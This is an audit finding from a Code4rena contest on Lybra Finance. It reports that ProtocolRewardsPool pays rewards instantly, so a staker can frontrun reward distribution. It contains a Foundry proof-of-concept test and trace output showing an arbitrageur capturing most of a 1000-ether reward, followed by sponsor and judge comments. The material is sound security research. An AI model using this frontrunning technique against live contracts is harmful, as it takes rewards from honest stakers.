code-423n4 / 2023-06-lybra-findings

8 stars 7 forks source link

Users can stake and claim rewards immediately in ProtocolRewardsPool #240

Open code423n4 opened 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/ProtocolRewardsPool.sol#L168

Vulnerability details

Impact

ProtocolRewardsPool incentives is not time-weighted, but calculated instantaneously, which reduces the user's willingness to stake. Because instead of staking in advance and expecting the incentive at an unknown time, it is better to directly listen and frontrun the tx of notifyRewardAmount in mempool and steal most of the incentive through the instantaneous stake, which will lead to a large loss of staking users, and the searcher extracts MEV.

Proof of Concept

Here is a POC to show how arbitrager extract most of the incentives, resulting in the loss of interest for users who staking in advance. And there is another bug that needs to be fixed before POC can take effect:

diff --git a/contracts/lybra/miner/ProtocolRewardsPool.sol b/contracts/lybra/miner/ProtocolRewardsPool.sol
index 8fc83d6..959aa47 100644
--- a/contracts/lybra/miner/ProtocolRewardsPool.sol
+++ b/contracts/lybra/miner/ProtocolRewardsPool.sol
@@ -193,7 +193,7 @@ contract ProtocolRewardsPool is Ownable {
             rewards[msg.sender] = 0;
             IEUSD EUSD = IEUSD(configurator.getEUSDAddress());
             uint256 balance = EUSD.sharesOf(address(this));
-            uint256 eUSDShare = balance >= reward ? reward : reward - balance;
+            uint256 eUSDShare = balance >= reward ? reward : balance;
             EUSD.transferShares(msg.sender, eUSDShare);
             if(reward > eUSDShare) {
                 ERC20 peUSD = ERC20(configurator.peUSD());
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {LybraProxy} from "@lybra/Proxy/LybraProxy.sol";
import {LybraProxyAdmin} from "@lybra/Proxy/LybraProxyAdmin.sol";
// import {AdminTimelock} from "@lybra/governance/AdminTimelock.sol";
import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol";
// import {LybraWBETHVault} from "@lybra/pools/LybraWbETHVault.sol";
import {esLBR} from "@lybra/token/esLBR.sol";
import {LybraWstETHVault} from "@lybra/pools/LybraWstETHVault.sol";
// import {LybraRETHVault} from "@lybra/pools/LybraRETHVault.sol";
// import {PeUSD} from "@lybra/token/PeUSD.sol";
import {esLBRBoost} from "@lybra/miner/esLBRBoost.sol";
import {LBR} from "@lybra/token/LBR.sol";
import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVault.sol";
// import {StakingRewardsV2} from "@lybra/miner/stakerewardV2pool.sol";
// import {LybraGovernance} from "@lybra/governance/LybraGovernance.sol";
import {PeUSDMainnet} from "@lybra/token/PeUSDMainnetStableVision.sol";
import {ProtocolRewardsPool} from "@lybra/miner/ProtocolRewardsPool.sol";
// import {EUSD} from "@lybra/token/EUSD.sol";
import {Configurator} from "@lybra/configuration/LybraConfigurator.sol";
import {EUSDMiningIncentives} from "@lybra/miner/EUSDMiningIncentives.sol";
// import {LybraEUSDVaultBase} from "@lybra/pools/base/LybraEUSDVaultBase.sol";
// import {LybraPeUSDVaultBase} from "@lybra/pools/base/LybraPeUSDVaultBase.sol";
import {mockChainlink} from "@mocks/chainLinkMock.sol";
import {stETHMock} from "@mocks/stETHMock.sol";
import {EUSDMock} from "@mocks/mockEUSD.sol";
import {mockCurve} from "@mocks/mockCurve.sol";
import {mockUSDC} from "@mocks/mockUSDC.sol";
import {mockLBRPriceOracle} from "@mocks/mockLBRPriceOracle.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract CounterScript is Test {
    address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    LybraProxy proxy;
    LybraProxyAdmin admin;
    // AdminTimelock timeLock;
    GovernanceTimelock govTimeLock;
    // LybraWbETHVault wbETHVault;
    // esLBR lbr;
    // LybraWstETHVault stETHVault;
    mockChainlink oracle;
    mockLBRPriceOracle lbrOracleMock;
    stETHMock stETH;
    esLBRBoost eslbrBoost;
    mockUSDC usdc;
    mockCurve curve;
    Configurator configurator;
    LBR lbr;
    esLBR eslbr;
    EUSDMock usd;
    EUSDMiningIncentives eusdMiningIncentives;
    ProtocolRewardsPool rewardsPool;
    LybraStETHDepositVault stETHVault;
    PeUSDMainnet peUsdMainnet;
    address owner = address(7);
    // admins && executers of GovernanceTimelock
    address[] govTimelockArr;

    function setUp() public {
        vm.startPrank(owner);
        oracle = new mockChainlink();
        lbrOracleMock = new mockLBRPriceOracle();
        stETH = new stETHMock();
        govTimelockArr.push(owner);
        govTimeLock = new GovernanceTimelock(
            1,
            govTimelockArr,
            govTimelockArr,
            owner
        );
        eslbrBoost = new esLBRBoost();
        usdc = new mockUSDC();
        curve = new mockCurve();
        //  _dao , _curvePool
        configurator = new Configurator(address(govTimeLock), address(curve));
        // _config , _sharedDecimals , _lzEndpoint
        lbr = new LBR(address(configurator), 8, goerliEndPoint);
        // _config
        eslbr = new esLBR(address(configurator));
        // _config
        usd = new EUSDMock(address(configurator));
        // _config, _boost, _etherOracle, _lbrOracle
        eusdMiningIncentives = new EUSDMiningIncentives(
            address(configurator),
            address(eslbrBoost),
            address(oracle),
            address(lbrOracleMock)
        );
        // _config
        rewardsPool = new ProtocolRewardsPool(address(configurator));
        // _config, _stETH, _oracle
        stETHVault = new LybraStETHDepositVault(
            address(configurator),
            address(stETH),
            address(oracle)
        );
        // _config, _sharedDecimals, _lzEndpoint
        peUsdMainnet = new PeUSDMainnet(
            address(configurator),
            8,
            goerliEndPoint
        );

        configurator.initToken(address(usd), address(peUsdMainnet));
        curve.setToken(address(usd), address(usdc));
        configurator.setMintVault(address(stETHVault), true);
        configurator.setPremiumTradingEnabled(true);
        configurator.setMintVaultMaxSupply(
            address(stETHVault),
            10_000_000_000 ether
        );
        configurator.setBorrowApy(address(stETHVault), 200);
        configurator.setEUSDMiningIncentives(address(eusdMiningIncentives));
        eusdMiningIncentives.setToken(address(lbr), address(eslbr));
        rewardsPool.setTokenAddress(
            address(eslbr),
            address(lbr),
            address(eslbrBoost)
        );

        // Missing configurator.initEUSD(this.EUSDMock.address) as initEUSD in configurator does not exist.
        // And it's not same as initToken. 
        vm.stopPrank();
    }

    function testInstantClaimArbitrage() public {
        configurator.setProtocolRewardsPool(address(rewardsPool));
        address[] memory contracts = new address[](2);
        bool[] memory bools = new bool[](2);
        contracts[0] = address(rewardsPool);
        contracts[1] = address(this);
        bools[0] = true;
        bools[1] = true;
        configurator.setTokenMiner(contracts, bools);

        // Other users stake
        address otherUsers = makeAddr("OtherUsers");
        lbr.mint(otherUsers, 100 ether);
        vm.startPrank(otherUsers);
        rewardsPool.stake(100 ether);
        vm.stopPrank();

        // 1. Arbitrager frontrun distributeRewards and stake
        address arbitrager = makeAddr("Arbitrager");
        lbr.mint(arbitrager, 1000 ether);
        vm.startPrank(arbitrager);
        rewardsPool.stake(1000 ether);

        // 2. configurator distributeRewards
        deal(address(peUsdMainnet), address(configurator), 1000 ether);
        configurator.distributeRewards();

        // 3. Arbitrager claim reward
        rewardsPool.getReward();
        rewardsPool.unstake(1000 ether);

        // 4. Wait for 3 days, partial withdrawals are still profitable
        skip(3 days + 1);
        rewardsPool.unlockPrematurely();
        // The LBR price is $1.4
        assert(peUsdMainnet.balanceOf(arbitrager) + lbr.balanceOf(arbitrager) * 14 / 10 > 1000 ether);
        console2.log(peUsdMainnet.balanceOf(arbitrager) + lbr.balanceOf(arbitrager) * 14 / 10 - 1000 ether);
    }
}
    ├─ [643] LBR::balanceOf(Arbitrager: [0x852c098c893A3A3e3b3e2D7e062b626205052911]) [staticcall]
    │   └─ ← 81666878858012404461 [8.166e19]
    ├─ [599] PeUSDMainnet::balanceOf(Arbitrager: [0x852c098c893A3A3e3b3e2D7e062b626205052911]) [staticcall]
    │   └─ ← 909090909090909090000 [9.09e20]
    ├─ [643] LBR::balanceOf(Arbitrager: [0x852c098c893A3A3e3b3e2D7e062b626205052911]) [staticcall]
    │   └─ ← 81666878858012404461 [8.166e19]
    ├─ [599] PeUSDMainnet::balanceOf(Arbitrager: [0x852c098c893A3A3e3b3e2D7e062b626205052911]) [staticcall]
    │   └─ ← 909090909090909090000 [9.09e20]
    ├─ [0] console::log(23424539492126456245 [2.342e19]) [staticcall]
    │   └─ ← ()

With the instantaneous stake, the user stole 909 ether from the 1000 ether incentive.

Tools Used

Foundry

Recommended Mitigation Steps

Like other incentive pools, use time-weight to calculate user rewards

Assessed type

MEV

c4-pre-sort commented 1 year ago

JeffCX marked the issue as primary issue

c4-sponsor commented 1 year ago

LybraFinance marked the issue as sponsor disputed

LybraFinance commented 1 year ago

This is not a problem. The daily dividend distribution is limited, so users who want to perform such an operation would need to stake a large amount of LBR, which can be costly.

c4-judge commented 1 year ago

0xean changed the severity to QA (Quality Assurance)

c4-sponsor commented 1 year ago

LybraFinance marked the issue as sponsor acknowledged